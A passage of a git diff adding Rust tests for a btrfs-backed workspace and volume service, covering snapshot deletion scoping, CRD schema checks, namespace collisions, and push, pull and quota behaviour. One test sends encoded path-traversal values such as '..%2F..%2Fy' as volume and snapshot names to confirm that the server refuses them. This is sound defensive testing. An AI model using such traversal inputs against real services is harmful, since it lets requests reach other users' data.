a 404 like a volume that +/// is not the caller's: the client learns nothing either way. +#[tokio::test] +async fn deleting_one_snapshot_is_owner_scoped() { + let up = upstream( + vec![("karthik", json!([{"name": "env-1", "latest_ms": 1i64}]))], + vec![( + "karthik/env-1", + json!([ + record("c2", "2026-08-27T10:00:00Z", None, Value::Null), + record("c1", "2026-08-27T09:00:00Z", None, Value::Null), + ]), + )], + ) + .await; + let s = server(vec![], up).await; + + let del = |tok: String, name: &str, id: &str| { + let url = format!("{}/v1/volumes/{name}/snapshots/{id}", s.base); + async move { reqwest::Client::new().delete(url).bearer_auth(tok).send().await.unwrap().status() } + }; + + assert_eq!(del(token(&s.jwt, "bob"), "env-1", "c1").await, 404, "not bob's volume"); + assert_eq!(del(token(&s.jwt, "karthik"), "no-such-vol", "c1").await, 404); + assert_eq!(del(token(&s.jwt, "karthik"), "env-1", "nope").await, 404, "unknown snapshot id"); + assert_eq!(del(token(&s.jwt, "karthik"), "env-1", "c1").await, 204); +} + +/// A volume name or snapshot id is spliced into a PEER url one tier down, so a `..` or an encoded +/// slash would re-route the request to any browse route under the caller's own owner. Refused +/// here with a 400 — and never sent: the stub answers 404 for anything it does not know, so a +/// 400 proves the request stopped before the client. +#[tokio::test] +async fn a_traversing_volume_name_or_snapshot_id_is_refused_before_the_peer() { + let up = upstream( + vec![("karthik", json!([{"name": "env-1", "latest_ms": 1i64}]))], + vec![("karthik/env-1", json!([record("c1", "2026-08-27T09:00:00Z", None, Value::Null)]))], + ) + .await; + let s = server(vec![], up).await; + let tok = token(&s.jwt, "karthik"); + let send = |method: reqwest::Method, path: String| { + let url = format!("{}{path}", s.base); + let tok = tok.clone(); + async move { reqwest::Client::new().request(method, url).bearer_auth(tok).send().await.unwrap().status() } + }; + let (del, get) = (reqwest::Method::DELETE, reqwest::Method::GET); + assert_eq!(send(del.clone(), "/v1/volumes/x/snapshots/..%2F..%2Fy".into()).await, 400); + assert_eq!(send(del.clone(), "/v1/volumes/..%2F..%2Fy".into()).await, 400); + assert_eq!(send(get, "/v1/volumes/a%2Fb/history".into()).await, 400); + assert_eq!(send(del, "/v1/volumes/env-1/snapshots/c1".into()).await, 204, "a plain id still works"); +} diff --git a/crates/workspaces/tests/crd_yaml.rs b/crates/workspaces/tests/crd_yaml.rs new file mode 100644 index 00000000..f736c9aa --- /dev/null +++ b/crates/workspaces/tests/crd_yaml.rs @@ -0,0 +1,258 @@ +//! `deploy/k3s/crds.yaml` is a GENERATED artifact — Phase 2A installs exactly what the Rust +//! types say. This test is the generator (`CRD_REGEN=1 cargo test -p rustic-git-workspaces +//! --test crd_yaml`) and the drift check in one, so a field added to a spec struct cannot ship +//! without the manifest moving with it. +use rustic_git_workspaces::crd::all_crds; + +#[test] +fn generated_crds_match_the_committed_manifest() { + // A `v1 List` of JSON, written to a `.yaml` path on purpose: YAML is a superset of JSON, so + // `kubectl apply -f` accepts it verbatim, and this keeps the archived `serde_yaml` + // (RUSTSEC-2024-0320) out of the tree. ponytail: unreadable diffs; swap to `serde-saphyr` + // if a human ever has to review this file by eye. + let doc = serde_json::json!({"apiVersion": "v1", "kind": "List", "items": all_crds()}); + let want = format!("{}\n", serde_json::to_string_pretty(&doc).unwrap()); + let path = concat!(env!("CARGO_MANIFEST_DIR"), "/../../deploy/k3s/crds.yaml"); + if std::env::var("CRD_REGEN").is_ok() { + std::fs::create_dir_all(std::path::Path::new(path).parent().unwrap()).unwrap(); + std::fs::write(path, &want).unwrap(); + } + let got = std::fs::read_to_string(path).unwrap_or_default(); + assert_eq!(got, want, "run CRD_REGEN=1 cargo test --test crd_yaml to regenerate"); +} + +#[test] +fn every_crd_has_a_status_subresource_and_the_right_node_selector() { + // Both halves fail SILENTLY when dropped: without `status: {}` a status update folds into + // spec (and the RBAC split becomes decorative); without `selectableFields` every node's + // controller sees every node's work and two agents race the same subvolume. + // + // Which PATH is selectable is now the load-bearing part: placement is a fact the controllers + // establish, so a parent's node lives in status, while a controller-written child's stays in + // spec. `SnapshotRequest` has NO selector at all — it names no node, and every agent watches + // every request, acting only when the named Volume is its own. + for crd in all_crds() { + let v = &crd.spec.versions[0]; + assert!(v.subresources.as_ref().is_some_and(|s| s.status.is_some()), "{}", crd.spec.names.kind); + let want = match crd.spec.names.kind.as_str() { + "OwnerBinding" | "Volume" => Some(".spec.nodeName"), + "Workspace" | "Environment" => Some(".status.nodeName"), + "SnapshotRequest" => None, + other => panic!("unknown kind {other}"), + }; + match want { + None => assert!( + v.selectable_fields.is_none(), + "SnapshotRequest must have no selectableFields: it copies no node into spec" + ), + Some(path) => { + let sel = v.selectable_fields.as_ref().expect("selectableFields"); + assert!(sel.iter().any(|f| f.json_path == path), "{} must select on {path}", crd.spec.names.kind); + // Arrays cannot be selectable fields; `compatibleNodes` must never sneak in as one. + assert!(!sel.iter().any(|f| f.json_path.contains("compatibleNodes")), "{}", crd.spec.names.kind); + } + } + } +} + +/// The five kinds, so a kind added to the group without a CRD entry cannot ship: `all_crds` is what +/// generates the manifest AND what the agent's startup precondition check reads. +#[test] +fn all_five_kinds_are_generated() { + let kinds: Vec = all_crds().into_iter().map(|c| c.spec.names.kind).collect(); + for k in ["Volume", "Workspace", "Environment", "OwnerBinding", "SnapshotRequest"] { + assert!(kinds.iter().any(|g| g == k), "{k} missing from all_crds(): {kinds:?}"); + } +} + +/// `phase` must be a schema `enum`, not a free-form string. +/// +/// A typo in a phase does not fail today: `api::phase` falls back to a default on an unknown +/// string, so the controller wrote `running`, `WsState` spells that state `Ready`, and a healthy +/// workspace showed "Creating" in the UI forever. Nothing failed and nothing logged. An `enum` in +/// the schema turns that class of bug into a 422 at the API server. +#[test] +fn every_phase_is_a_schema_enum() { + for crd in all_crds() { + // OwnerBinding has no phase and needs none: `NamespaceReady` is its whole state. + if crd.spec.names.kind == "OwnerBinding" { + continue; + } + let status = crd.spec.versions[0] + .schema + .as_ref() + .unwrap() + .open_api_v3_schema + .as_ref() + .unwrap() + .properties + .as_ref() + .unwrap()["status"] + .clone(); + let phase = &status.properties.as_ref().unwrap()["phase"]; + assert!( + phase.enum_.as_ref().is_some_and(|e| !e.is_empty()), + "{}'s status.phase is a free-form string, not an enum", + crd.spec.names.kind + ); + } +} + +/// Release 1 is ADDITIVE. `storage` arrives; the two legacy spec fields stay, optional, because a +/// cluster-wide prune before a per-node agent roll destroys the pointer an unmigrated object needs. +/// Task 11 is what removes them. +#[test] +fn release_one_adds_storage_and_keeps_the_legacy_spec_fields() { + use kube::CustomResourceExt; + use rustic_git_workspaces::crd::{Environment, Workspace}; + for crd in [Workspace::crd(), Environment::crd()] { + let v = &crd.spec.versions[0]; + let root = v.schema.as_ref().unwrap().open_api_v3_schema.as_ref().unwrap(); + let spec = &root.properties.as_ref().unwrap()["spec"]; + let props = spec.properties.as_ref().unwrap(); + assert!(props.contains_key("storage"), "{} spec needs storage", crd.spec.names.kind); + assert!(props.contains_key("nodeName"), "{}: do not prune nodeName in release 1", crd.spec.names.kind); + assert!(props.contains_key("volumeRef"), "{}: do not prune volumeRef in release 1", crd.spec.names.kind); + // Optional, though: the API stops writing them this release, so a required field would + // reject every new object. + let required = spec.required.clone().unwrap_or_default(); + assert!(!required.contains(&"nodeName".to_string()), "{}", crd.spec.names.kind); + assert!(!required.contains(&"volumeRef".to_string()), "{}", crd.spec.names.kind); + // `storage` is optional too, and for the mirror-image reason: an object created BEFORE the + // field existed must still deserialize, or every legacy parent 422s on its next write. + assert!(!required.contains(&"storage".to_string()), "{}: storage must be optional in release 1", crd.spec.names.kind); + // The credential Secret path is deleted outright, not deprecated: nobody ever wrote that + // Secret and no object carries it, so there is nothing to lose by pruning it. + let schema = serde_json::to_string(&v.schema).unwrap(); + // camelCase: that is what serde emits, so the snake_case spelling never appears and + // asserting on it proves nothing. + assert!(!schema.contains("credentialSecret"), "{} still names credentialSecret", crd.spec.names.kind); + } +} + +/// `lastPush` is gone and NOTHING replaces it on the Volume. "The latest snapshot" is a query over +/// SnapshotRequests by volume label — two controllers force-applying one status object under one +/// field manager prune each other's fields, which is what a second writer here would be. +#[test] +fn the_volume_status_has_no_push_pointer() { + use kube::CustomResourceExt; + let schema = serde_json::to_string(&rustic_git_workspaces::crd::Volume::crd().spec.versions[0].schema).unwrap(); + assert!(!schema.contains("lastPush"), "lastPush must be dropped"); + assert!(!schema.contains("lastSnapshot"), "and not replaced by a second writer's field"); +} + +/// Environment ids are minted as `env-{hex}`, so a namespace helper that prefixes unconditionally +/// yields `env-env-{hex}`. Valid Kubernetes, wrong every time a human reads it. +#[test] +fn env_namespace_does_not_double_its_prefix() { + use rustic_git_workspaces::crd::env_namespace; + assert_eq!(env_namespace("env-abc123"), "env-abc123"); + // An id without the prefix still gets one — the namespace should say what it holds. + assert_eq!(env_namespace("abc123"), "env-abc123"); + // Namespaces are RFC-1123: lowercase only. + assert_eq!(env_namespace("ENV-ABC"), "env-abc"); +} + +/// One namespace per (team, owner) pair. The same person in two teams must land in two +/// namespaces — that is the isolation boundary, since NetworkPolicies and the git-key Secret are +/// per namespace — and their personal namespace stays what it always was. +#[test] +fn workspace_namespace_is_per_team_per_owner() { + use rustic_git_workspaces::crd::ws_namespace; + assert_eq!(ws_namespace("alice", ""), "ws-alice"); + // A team equal to the owner is personal, not "alice-alice". + assert_eq!(ws_namespace("alice", "alice"), "ws-alice"); + assert!(ws_namespace("alice", "acme").starts_with("wt-alice-"), "{}", ws_namespace("alice", "acme")); + assert_eq!(ws_namespace("Alice", "ACME"), ws_namespace("alice", "acme")); + assert_ne!(ws_namespace("alice", "acme"), ws_namespace("alice", "globex")); +} + +/// The collision that shared one person's private git key with another: handles and team slugs +/// both allow `-`, so any join of the two by `-` has two readings. Every distinct `(team, owner)` +/// pair — personal ones included — must land in its own namespace, and every namespace must be a +/// label the API server accepts. +#[test] +fn no_two_owner_team_pairs_share_a_namespace() { + use rustic_git_workspaces::crd::{binding_name, ws_namespace}; + use std::collections::HashMap; + let handles = ["a", "b", "c", "a-b", "b-c", "acme", "bob", "acme-bob", "x", "att", "x-att", &"a".repeat(39), &"b".repeat(39)]; + let teams = handles.iter().copied().chain([""]); + let mut seen: HashMap = HashMap::new(); + for owner in handles { + for team in teams.clone() { + // A team equal to the owner IS the personal pair — same namespace by definition. + if team == owner { + continue; + } + let ns = ws_namespace(owner, team); + let label = ns.len() <= 63 + && ns.bytes().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-') + && !ns.starts_with('-') + && !ns.ends_with('-'); + assert!(label, "{ns:?} is not an RFC 1123 label"); + if let Some(prev) = seen.insert(ns.clone(), (team.into(), owner.into())) { + panic!("{ns} is both {prev:?} and {:?}", (team, owner)); + } + } + } + // The audit's named cases, spelled out. + assert_ne!(ws_namespace("bob", "acme"), ws_namespace("acme-bob", "")); + assert_ne!(ws_namespace("c", "b"), ws_namespace("b-c", "")); + assert_ne!(ws_namespace("a-b", "c"), ws_namespace("a", "b-c")); + assert_ne!(binding_name("centralindia-x", "att"), binding_name("centralindia", "x-att")); + assert!(binding_name("centralindia", &"a".repeat(39)).len() <= 63); +} + +/// `Phase::as_str` and the serde wire form must be the same word. Two spellings of one state is the +/// exact bug the enum exists to kill — a projection matching on `as_str` while the API server holds +/// the serde spelling would silently never match. +#[test] +fn phase_as_str_matches_the_wire_form() { + use rustic_git_workspaces::crd::Phase::*; + for p in [Pending, Creating, Ready, Running, Stopped, Working, Done, Error] { + assert_eq!(serde_json::to_value(p).unwrap(), serde_json::json!(p.as_str()), "{p:?}"); + } +} + +/// The in-place restore is expressible in the SCHEMA, on both halves of the parent/child pair. +/// +/// Additive and optional, like everything else in release 1: an Environment written before this +/// existed must still round-trip, and a controller that force-applies a spec without `restore` +/// must not have the API server reject it. +#[test] +fn the_in_place_restore_wish_is_optional_on_the_parent_and_the_child() { + use kube::CustomResourceExt; + use rustic_git_workspaces::crd::{Environment, Volume, Workspace}; + for crd in [Environment::crd(), Workspace::crd()] { + let v = &crd.spec.versions[0]; + let root = v.schema.as_ref().unwrap().open_api_v3_schema.as_ref().unwrap(); + let spec = &root.properties.as_ref().unwrap()["spec"]; + assert!(spec.properties.as_ref().unwrap().contains_key("restore"), "{}", crd.spec.names.kind); + assert!(!spec.required.clone().unwrap_or_default().contains(&"restore".to_string()), "{}", crd.spec.names.kind); + } + let v = &Volume::crd().spec.versions[0]; + let root = v.schema.as_ref().unwrap().open_api_v3_schema.as_ref().unwrap(); + let props = root.properties.as_ref().unwrap(); + // The child's copy of the wish is spec (controller-written), and what it produced is status — + // the pair the whole "already done" test reads. + assert!(props["spec"].properties.as_ref().unwrap().contains_key("restoreTo")); + assert!(props["status"].properties.as_ref().unwrap().contains_key("restoredTo")); +} + +/// A `VolumeSpec` with no restore wish must not SERIALIZE one. `ensure` server-side-applies the +/// child Volume on every pass under one field manager: a `restoreTo: null` in that body would +/// claim the field and prune the wish the parent's gate just wrote. +#[test] +fn a_volume_spec_without_a_wish_carries_no_restore_to() { + let spec = rustic_git_workspaces::crd::VolumeSpec { + owner: "alice".into(), + team: String::new(), + node_name: "node-a".into(), + region: "r1".into(), + quota_gb: 10, + source: None, + restore_to: None, + }; + let json = serde_json::to_value(&spec).unwrap(); + assert!(json.get("restoreTo").is_none(), "{json}"); +} diff --git a/crates/workspaces/tests/engine_ops.rs b/crates/workspaces/tests/engine_ops.rs new file mode 100644 index 00000000..8b7cd0d0 --- /dev/null +++ b/crates/workspaces/tests/engine_ops.rs @@ -0,0 +1,1044 @@ +//! Engine op tests: commit/push/pull/clone_local/clone_running/squash. Everything here touches btrfs, so every +//! test opens with `have_btrfs()` and returns cleanly when it's false (this Mac, any non-root CI +//! runner) — they run for real on the btrfs review VM. Fixtures: `MemStore` for the region +//! metadata, an in-process vol-agent router (`registry_server`, mirroring +//! `bins/agent/tests/loop.rs`) as the volume registry, and an `InMemory` object store for layer +//! blobs. + +use futures::StreamExt; +use object_store::{ObjectStore, ObjectStoreExt}; +use object_store::memory::InMemory; +use object_store::path::Path as S3Path; +use rustic_git_workspaces::engine::{Engine, Pool, have_btrfs}; +use rustic_git_workspaces::model::{Workspace, WsState}; +use rustic_git_workspaces::registry::CommitRecord; +use rustic_git_workspaces::registry_client::RegistryClient; +use rustic_git_workspaces::store::{MemStore, MetaStore}; +use sha2::Digest; +use std::path::Path; +use std::sync::Arc; + +const TOKEN: &str = "engine-ops-test-token"; + +/// Boots the server's per-volume vol-agent router (`commits`/`ref`/`history`) in-process, +/// backed by its own fresh `Store` (SlateDB over an `InMemory` object store distinct from the +/// test's LAYER blob store — the registry's commit/ref records and the layer bytes they name +/// live in entirely separate stores, same as production). Returns the base URL every +/// `RegistryClient` in the test should share, so a clone destination engine can read the +/// SAME history a source engine just pushed. +async fn registry_server() -> String { + // Constant-token auth is a plain env var (`vol_agent.rs`'s `authorized`); every caller in + // this file uses the same value, so setting it repeatedly across parallel tests is benign. + unsafe { std::env::set_var("RUSTIC_GIT_VOL_AGENT_TOKENS", TOKEN) }; + + let tmp = tempfile::tempdir().unwrap(); + let os_store = rustic_git_server::store::Store::open( + Arc::new(object_store::memory::InMemory::new()), + tmp.path().join("cache"), + false, + ) + .await + .unwrap(); + let os_store = Arc::new(os_store); + let ownership = rustic_git_server::ownership::OwnershipStore::open(os_store.os.clone(), true).await.unwrap(); + let app = Arc::new(rustic_git_server::App::new( + os_store, + Arc::new(ownership), + "test-0".into(), + Arc::new(|_| "127.0.0.1:1".to_string()), + "test-peer-secret".into(), + 1, + )); + // The record handlers extract Extension> (region-token auth); the layer must + // cover them exactly like production's router() does, or every call 500s on the missing + // extension — which is precisely how the first VM run of this harness failed. + let router = rustic_git_server::vol_agent::vol_agent_routes() + .layer(axum::Extension(Arc::new(rustic_git_server::vol_agent::JobsState::new(None)))) + .with_state(app); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + tokio::spawn(async move { axum::serve(l, router).await.unwrap() }); + // Test-only leak: the cache dir must outlive the spawned server, which outlives this fn's + // scope; the process exits at test end anyway. + std::mem::forget(tmp); + format!("http://{addr}") +} + +/// A loopback btrfs pool backed by a truncated sparse image, mounted for the test and torn +/// down (unmount) on drop. Root only — construction panics if mkfs/mount fail, which is fine +/// since callers only build this behind `have_btrfs()`. +struct LoopbackPool { + pool: Pool, + mount: std::path::PathBuf, + _tmp: tempfile::TempDir, +} + +impl LoopbackPool { + fn new() -> LoopbackPool { + let tmp = tempfile::tempdir().unwrap(); + let img = tmp.path().join("pool.img"); + let mount = tmp.path().join("mnt"); + std::fs::create_dir_all(&mount).unwrap(); + run(&["truncate", "-s", "4G", img.to_str().unwrap()]); + run(&["mkfs.btrfs", "-q", img.to_str().unwrap()]); + run(&["mount", "-o", "loop", img.to_str().unwrap(), mount.to_str().unwrap()]); + let pool = Pool::new(mount.clone()); + std::fs::create_dir_all(pool.recv()).unwrap(); + std::fs::create_dir_all(pool.root.join("vol")).unwrap(); + std::fs::create_dir_all(pool.root.join("img")).unwrap(); + LoopbackPool { pool, mount, _tmp: tmp } + } + + /// A fresh `Pool` handle onto the same mounted root — `Pool` holds no state beyond the + /// path, so this sidesteps moving out of a type that implements `Drop`. + fn pool(&self) -> Pool { + Pool::new(self.pool.root.clone()) + } +} + +impl Drop for LoopbackPool { + fn drop(&mut self) { + let _ = std::process::Command::new("umount").arg(&self.mount).status(); + } +} + +fn run(argv: &[&str]) { + let st = std::process::Command::new(argv[0]).args(&argv[1..]).status().unwrap(); + assert!(st.success(), "{argv:?} failed"); +} + +fn ws(owner: &str, id: &str) -> Workspace { + Workspace { + team: String::new(), + id: id.into(), + owner: owner.into(), + name: id.into(), + region: "centralindia".into(), + state: WsState::Ready, + image: "nginx:alpine".into(), + placement: None, + volume: None, + quota_gb: 20, + ssh: None, + live_state: serde_json::Value::Null, + packages: vec![], + base_packages: vec![], + packages_status: None, + } +} + +fn engine(pool: Pool, store: Arc, meta: Arc, registry_base: &str) -> Engine { + Engine::new(pool, store, meta, RegistryClient::new(registry_base, TOKEN)) +} + +/// `Engine::push` with no message — the common case for tests whose point isn't the message +/// itself. +async fn commit_and_push(e: &Engine, w: &Workspace) -> rustic_git_workspaces::engine::PushOut { + e.push(w, None).await.unwrap() +} + +async fn history(base: &str, owner: &str, name: &str) -> Vec { + RegistryClient::new(base, TOKEN).get_history(owner, name).await.unwrap() +} + +/// Layer blobs only — every upload also writes a `.json` sidecar beside the blob, and +/// counting both made these assertions read double on the first real (non-skipped) run. +async fn blob_count(store: &Arc) -> usize { + store + .list(Some(&S3Path::from("layers/"))) + .filter(|m| { + let keep = m.as_ref().map(|m| !m.location.as_ref().ends_with(".json")).unwrap_or(true); + async move { keep } + }) + .count() + .await +} + +/// Deterministic recursive walk+hash of a directory tree: relative path + file bytes, so two +/// trees are "byte-identical" iff this digest matches. +fn hash_tree(root: &Path) -> String { + fn walk(dir: &Path, base: &Path, files: &mut Vec<(String, Vec)>) { + let mut entries: Vec<_> = std::fs::read_dir(dir).unwrap().map(|e| e.unwrap()).collect(); + entries.sort_by_key(|e| e.path()); + for e in entries { + let p = e.path(); + let rel = p.strip_prefix(base).unwrap().to_string_lossy().to_string(); + if p.is_dir() { + walk(&p, base, files); + } else { + files.push((rel, std::fs::read(&p).unwrap())); + } + } + } + let mut files = Vec::new(); + walk(root, root, &mut files); + files.sort_by(|a, b| a.0.cmp(&b.0)); + let mut h = sha2::Sha256::new(); + for (rel, bytes) in &files { + h.update(rel.as_bytes()); + h.update(bytes); + } + format!("{:x}", h.finalize()) +} + +fn init_live_subvol(pool: &Pool, ws_id: &str) { + std::fs::create_dir_all(pool.voldir(ws_id)).unwrap(); + run(&["btrfs", "subvolume", "create", pool.live(ws_id).to_str().unwrap()]); +} + +#[tokio::test] +async fn push_creates_exactly_one_snapshot_with_the_message() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store.clone(), meta.clone(), &base); + + let w = ws("karthik", "ws-push-msg"); + init_live_subvol(&e.pool, &w.id); + std::fs::write(e.pool.live(&w.id).join("a.txt"), b"a").unwrap(); + + let out = e.push(&w, Some("first push")).await.unwrap(); + assert_eq!(out.layers, 1, "push must snapshot and land exactly one new layer"); + + let recs = history(&base, &w.owner, &w.id).await; + assert_eq!(recs.len(), 1); + assert_eq!(recs[0].message.as_deref(), Some("first push")); + + let lineage = e.pool.lineage(&w.id); + assert_eq!(lineage.len(), 1); + assert!(!lineage[0].unpushed, "a successful push must clear the mark, never leave user-facing unpushed state"); +} + +#[tokio::test] +async fn push_uploads_exactly_the_unpushed_set_and_moves_the_ref() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store.clone(), meta.clone(), &base); + + let w = ws("karthik", "ws-push"); + init_live_subvol(&e.pool, &w.id); + for i in 0..200 { + std::fs::write(e.pool.live(&w.id).join(format!("f{i}.txt")), format!("file {i}")).unwrap(); + } + + let t = std::time::Instant::now(); + let out = e.push(&w, None).await.unwrap(); + assert!(t.elapsed().as_secs() < 5, "push of one 200-file layer took {:?}", t.elapsed()); + assert!(!out.sha.is_empty()); + assert_eq!(out.layers, 1); + assert_eq!(blob_count(&store).await, 1, "exactly one layer blob uploaded"); + + let recs = history(&base, &w.owner, &w.id).await; + assert_eq!(recs.len(), 1); + assert_eq!(recs[0].id, out.layer); + + let lineage = e.pool.lineage(&w.id); + assert!(!lineage[0].unpushed, "push must clear the unpushed mark"); +} + +/// A crash (or a rejected `commits`/`ref` request) between the upload finishing and the batch +/// landing must leave the stage files in place and the marks unpushed — otherwise a retried +/// push finds no stage file for an entry it still thinks is unpushed and fails forever. Proven +/// by pointing the engine's `RegistryClient` at an address nothing listens on (so `post_commits` +/// errors before anything is cleared), then retrying against the real registry. +#[tokio::test] +async fn a_failed_push_leaves_stage_files_and_marks_intact_for_a_clean_retry() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + + let w = ws("karthik", "ws-push-retry"); + // Same pool underneath both engines below — only the registry endpoint differs. + let pool_root = lp.pool.root.clone(); + init_live_subvol(&lp.pool, &w.id); + std::fs::write(lp.pool.live(&w.id).join("a.txt"), b"a").unwrap(); + + // Port 1: nothing listens there, so any request errors out immediately — same stand-in + // address `registry_server`'s own `App::new` fixture uses for "unreachable peer". A push + // against it still stages (snapshot + compress, local-only) before the registry call it + // never reaches — the crash-recovery window `push` is meant to survive. + let broken = engine(Pool::new(pool_root.clone()), store.clone(), meta.clone(), "http://127.0.0.1:1"); + let err = broken.push(&w, None).await.unwrap_err(); + assert!(err.0.contains("registry"), "unexpected error: {}", err.0); + + // The upload itself (to the object store, unrelated to the broken registry) still went + // through — only the registry POSTs failed — but the entry must still read as unpushed and + // its stage files must still exist for a retry to find. + let lineage = broken.pool.lineage(&w.id); + assert_eq!(lineage.len(), 1); + assert!(lineage[0].unpushed, "a failed push must not clear the mark"); + let staged_blob = lineage[0].blob.clone(); + assert!(broken.pool.stage_path(&staged_blob).exists(), "stage blob must survive a failed push"); + assert!(broken.pool.stage_meta_path(&staged_blob).exists(), "stage meta must survive a failed push"); + + // Retry against the real registry: same pool, working endpoint. The retry is a plain push + // call, not a special "resume" verb — it stages one MORE fresh snapshot the ordinary way, + // but the internal unpushed mark on the first (still-staged) layer means both land in the + // same batch: nothing from the failed attempt is lost or duplicated. + let good = engine(Pool::new(pool_root), store, meta, &base); + let out = good.push(&w, None).await.unwrap(); + assert_eq!(out.layers, 2, "the retried push's own snapshot plus the one stranded by the failed attempt"); + let recs = history(&base, &w.owner, &w.id).await; + assert_eq!(recs.len(), 2, "the retry must land the stranded record, not lose or duplicate it"); + assert!(good.pool.lineage(&w.id).iter().all(|l| !l.unpushed)); + assert!(!good.pool.stage_path(&staged_blob).exists(), "a successful push must clean up its stage files"); +} + +/// `commit_core` snapshots BEFORE the send. A send that fails used to leave that RO snapshot in +/// `recv/` with no lineage entry naming it — invisible to every reclaim path, pinning extents for +/// good. A parent that does not exist is the cheapest way to make `btrfs send -p` fail. +#[tokio::test] +async fn a_failed_send_leaves_no_stray_snapshot_behind() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let base = registry_server().await; + let e = engine(lp.pool(), Arc::new(InMemory::new()), Arc::new(MemStore::new()), &base); + let w = ws("karthik", "ws-send-fails"); + init_live_subvol(&e.pool, &w.id); + std::fs::write(e.pool.live(&w.id).join("a.txt"), b"a").unwrap(); + let bogus = rustic_git_workspaces::model::LineageEntry { + kind: rustic_git_workspaces::model::LayerKind::Stream, + blob: "never-received".into(), + snap: None, + sha256: "sha".into(), + unpushed: false, + }; + e.pool.set_lineage(&w.id, std::slice::from_ref(&bogus)).unwrap(); + let before: Vec<_> = std::fs::read_dir(e.pool.recv()).unwrap().flatten().map(|d| d.file_name()).collect(); + + let err = e.push(&w, None).await.unwrap_err(); + assert!(err.0.contains("btrfs send"), "unexpected error: {}", err.0); + + let after: Vec<_> = std::fs::read_dir(e.pool.recv()).unwrap().flatten().map(|d| d.file_name()).collect(); + assert_eq!(before, after, "the pre-send snapshot must be deleted with the failed send"); + assert_eq!(e.pool.lineage(&w.id).len(), 1, "no entry for a layer that was never staged"); +} + +/// `spec.quotaGb` is a qgroup limit on the live subvolume. Before the pool has quotas enabled the +/// engine says so instead of failing (the operator's fix is one command); after, a tenant writing +/// past the cap gets EDQUOT while the pool — and every sibling on it — stays writable. +#[tokio::test] +async fn quota_is_reported_unavailable_then_enforced_once_the_pool_has_qgroups() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let base = registry_server().await; + let e = engine(lp.pool(), Arc::new(InMemory::new()), Arc::new(MemStore::new()), &base); + e.create_subvol("ws-quota").unwrap(); + assert!(e.set_quota("ws-quota", 1).unwrap().is_some(), "a pool without qgroups must say so, not fail"); + + run(&["btrfs", "quota", "enable", lp.pool.root.to_str().unwrap()]); + run(&["btrfs", "quota", "rescan", "-w", lp.pool.root.to_str().unwrap()]); + assert_eq!(e.set_quota("ws-quota", 1).unwrap(), None); + + // 1 GiB cap on a 4 GiB pool: the writes must stop well before the pool does. + let chunk = vec![0xabu8; 64 << 20]; + let mut written = 0u64; + let mut hit = false; + for i in 0..48 { + let p = e.pool.live("ws-quota").join(format!("fill-{i}")); + match std::fs::write(&p, &chunk) { + Ok(()) => written += chunk.len() as u64, + Err(_) => { + hit = true; + break; + } + } + } + assert!(hit, "wrote {written} bytes past a 1 GiB quota without an error"); + assert!(written < 2 << 30, "the cap must bite near the limit, not the pool: {written}"); + e.create_subvol("ws-sibling").unwrap(); + std::fs::write(e.pool.live("ws-sibling").join("still-writable"), b"x").expect("a sibling is unaffected"); +} + +#[tokio::test] +async fn pull_from_never_pushed_workspace_fails_clean() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store, meta.clone(), &base); + + let w = ws("karthik", "ws-never-pushed"); + let err = e.pull(&w).await.unwrap_err(); + assert!(err.0.contains("history"), "unexpected error: {}", err.0); +} + +#[tokio::test] +async fn seven_layer_cold_pull_is_byte_identical() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let src = LoopbackPool::new(); + let dst = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let src_engine = engine(src.pool(), store.clone(), meta.clone(), &base); + + let w = ws("karthik", "ws-cold"); + init_live_subvol(&src_engine.pool, &w.id); + for layer in 0..7 { + std::fs::write(src_engine.pool.live(&w.id).join(format!("layer{layer}.txt")), format!("v{layer}")).unwrap(); + commit_and_push(&src_engine, &w).await; + } + let expected = hash_tree(&src_engine.pool.live(&w.id)); + + let dst_engine = engine(dst.pool(), store, meta, &base); + let out = dst_engine.pull(&w).await.unwrap(); + assert_eq!(out.layers, 7); + assert_eq!(out.fetched, 7); + assert_eq!(hash_tree(&dst_engine.pool.live(&w.id)), expected); +} + +#[tokio::test] +async fn noop_pull_fetches_nothing() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store, meta, &base); + + let w = ws("karthik", "ws-noop"); + init_live_subvol(&e.pool, &w.id); + std::fs::write(e.pool.live(&w.id).join("a.txt"), b"a").unwrap(); + commit_and_push(&e, &w).await; + + let out = e.pull(&w).await.unwrap(); + assert_eq!(out.fetched, 0); +} + +#[tokio::test] +async fn clone_is_zero_fetch_and_isolated() { + if !have_btrfs() { + eprintln!("skipping: btrfs unavailable or not root"); + return; + } + let lp = LoopbackPool::new(); + let meta: Arc = Arc::new(MemStore::new()); + let store: Arc = Arc::new(InMemory::new()); + let base = registry_server().await; + let e = engine(lp.pool(), store, meta, &base); + + let src = ws("karthik", "ws-clone-src"); + init_live_subvol(&e.pool, &src.id); + std::fs::write(e.pool.live(&src.id).join("base.txt"), b"base").unwrap(); + 